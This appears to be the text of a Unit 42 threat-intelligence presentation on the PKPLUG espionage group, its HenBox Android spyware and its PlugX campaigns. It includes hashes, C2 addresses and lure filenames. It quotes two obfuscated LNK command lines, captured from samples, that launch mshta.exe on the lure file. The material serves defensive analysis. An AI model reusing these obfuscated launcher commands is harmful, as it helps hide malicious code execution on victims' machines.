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PKPLUG Overview

• Espionage motivated group, or groups

• Unit 42 actively tracking for 3 years

• Active for at least 6 years

• Uses publicly available and custom malware

• Poison Ivy, PlugX and Zupdax; 9002, HenBox and Farseer.



https://www.military.com/daily-news/2019/07/10/china-demands-us-cancel-arms-sale-taiwan.html
https://www.cfr.org/backgrounder/chinas-crackdown-uighurs-xinjiang
https://thegeopolitics.com/china-and-xinjiang-the-fate-of-bri/
https://www.theguardian.com/cities/ng-interactive/2018/jul/30/what-china-belt-road-initiative-silk-road-explainer
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HenBox



HenBox Overview

• Custom malware for Android

• Inclusion of tools (SU, BusyBox, Anti-emu/analysis, …)

• Over 400 samples since 2015

• Appears to primarily target the Uyghurs

• Infrastructure ties with targeted attacks and a focus on politics in Southeast and 

Central Asia.



HenBox - the name

• com.android.henbox

• CN=henbox: OU=henbox: O=henbox: L=Guangzhou: \

ST=Guangdong: C=CN

• Masquerades as a variety of legitimate Android apps

• Chinese manufacturer Xiaomi and MIUI



Delivery

• May 2016, app downloaded

• uyghurapps\.net/mobile/downAction.action?appId=40

• “DroidVPN” app name

• com.android.henbox package name

• Uyghurapps[.]net 

• Win32, Apache (2.0.65)



App & Package Names
设置 Set
探探 Explore
无秘 No secret
备份 Backup
爱奇艺 IQIYI
备份服务 Backup service
云模块 Cloud module
同城婚恋交友约会 City dating dating
系统桌面 System desktop
同步服务 Synchronization service
茄子快传 Eggplant fast pass
快牙 Fast tooth
框架服务 Framework service
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HenBox App Structure

• Numerous components

• XOR & RC4 ; Zlib & ZIP

• Optional decoy app





HenBox & Xiaomi Triggers

• 2018 - World’s 4th largest smartphone company

• #1 in China & India; overtook Samsung



Package Name App Name
com.whatsapp WhatsApp Messenger
com.pugna.magiccall n/a
org.telegram.messenger Telegram
com.facebook.katana Facebook
com.twitter.android Twitter
jp.naver.line.android LINE: Free Calls & Messages
com.instanza.cocovoice Coco
com.beetalk BeeTalk
com.gtomato.talkbox TalkBox Voice Messenger - PTT
com.viber.voip Viber Messenger
com.immomo.momo MOMO陌陌
com.facebook.orca Messenger – Text and Video Chat for Free
com.skype.rover Skype; 3rd party stores only

07994c9f2eeeede199dd6b4e760fce37
1f03f3cc4307e6551c18d2fbd024a24f

Package Name com.android.henbox

App Name 备份 (Backup)

First Seen January 3rd 2018

HenBox: Objectives

• Registers SMS handler

• Monitor device logs and system information

• Monitors outgoing calls (+86 prefix)

• Location tracking

• …

• Read data from various apps



Recent Campaigns





Recent campaigns

• 2 PlugX samples in August 2019
• 4 more PlugX samples pivoting on File 

Activity:
• “Users\<user>\AppData\Local\Temp\h

ttp_dll.dat”
• “Users\<user>\AppData\Local\Temp\h

ttp_dll.dll”
• Revealing further C2 infrastructure: 

• 43.251.182[.]114
• 154.223.150[.]105

• Targeting: Mongolian Government

Source: https://twitter.com/h4ckak/status/1163328926573137922



GIYF

Source: https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Unknown/20-08-19/Malware%20analysis%2020-08-19.md

sha256 Filename Notes

c3159d4f85ceb84c4a0f7ea
9208928e729a30ddda4fea
d7ec6257c7dd1984763

NATIONAL SECURITY 
CONCEPT OF MONGOLIA.exe | 
unsecapp.exe

Signed: ESET, spol. s r.o.

918de40e8ba7e9c1ba555
aa22c8acbfdf77f9c050d5d
dcd7bd0e3221195c876f

DSR & CSR of Special Branch 
Sind.exe

Pakistan targeting?

fb3e3d9671bb733fcecd69
00def15b9a6b4f36b0a35b
dc769b0a69bc5fb7e40d

Daily News (19-8-2019)(Soft 
Copy).lnk

Vietnam targeting?; Shortcut file 
with appended HTA+VBS



LNK content & meta-data



LNK files by host: win-jq9h4qp3a4u

LNK sha256 LNK Command Line Argument Notes:

ce1848033aa82f408
201695f718fd82b8a1
dd0d588332bc003c7
abb6ce2664a2

/c for %x in (%temp%=%cd%) do for /f 
"delims==" %i in ('dir "%x\S_2019_50_E.lnk" 
/s /b') do start m%windir:~-1,1%hta.exe "%i"

UN Security Council: “Letter 
dated 15 January 2019…”

777e36fcc5648fc6b5
28bc35391f756d87a
649e97cfab9bff9d12
92d0bfffd20

/c f%windir:~-3,1%%PUBLIC:~-9,1% %x in 
(%temp%=%cd%) do 
f%windir:~-3,1%%PUBLIC:~-9,1% /f 
"delims==" %i in ('dir "%x\For National 
Department Sar KNU JMC people Meeting 
2019.lnk" /s /b') do start 
%TEMP:~-2,1%%windir:~-1,1%h%TEMP:~-1
3,1%%TEMP:~-7,1%.exe "%i"

The Karen National Union 
(KNU) plenary meeting 
among Joint Monitoring 
Committee (JMC) 
representatives.



LNK filenames by CLI argument: “windir:~-” & “do start”

• chuong trinh dang huong.doc.lnk
• Chuong trinh hoi nghi.doc.lnk
• GIAY MOI.doc.lnk
• 421 CV.doc.lnk
• GIAYMOI.doc.lnk
• CV trao doi CAT Cao Bang.doc.lnk
• cf56ee00be8ca49d150d85dcb6d2f336.jpg.lnk
• Daily News (19-8-2019)(Soft Copy).lnk
• 32_1.PDF.lnk
• TCO BT 574.doc.lnk
• vai tro cua nhan dan.doc.lnk
• tieu luan ve quyen lam chu cua nhan dan.docx.lnk
• sach tham khao Bo mon.docx.lnk



LNK hostnames by CLI argument: “windir:~-” & “do start”

• win-egbvi09sep9

• win-jq9h4qp3a4u

• win-2a9b78ts069

• win-nuptedkl53m



Adversary Playbooks





STIX 2.0
Structured Threat 
Information 
Expression (STIX™) 
is a language and 
serialization format 
used to exchange 
cyber threat 
intelligence

ATT&CK
MITRE’s Adversarial 
Tactics, Techniques, 

and Common 
Knowledge 

(ATT&CK™) is a 
curated knowledge 
base and model for 

cyber adversary 
behavior

A linear, 
phase-based 

process an 
adversary must 

complete to 
successfully execute 

an attack

STIX 2.0ATT&CK

ATTACK LIFE CYCLE

PLAYBOOKS
A method of 
organizing tactics, 
tools, and 
procedures 
adversaries used in 
a structured data 
format

ATTACK LIFECYCLE



ADVERSARY

ATTACK LIFE CYCLE

IDENTIFIED TACTICS

INDICATORS

34   |   © 2019, Palo Alto Networks. All Rights Reserved.

PLAYBOOK

PLAYS

ATT&CK



https://pan-unit42.github.io/playbook_viewer/



THANK YOU
unit42.paloaltonetworks.com

Twitter: @AlexHinchliffe, @Unit42_Intel


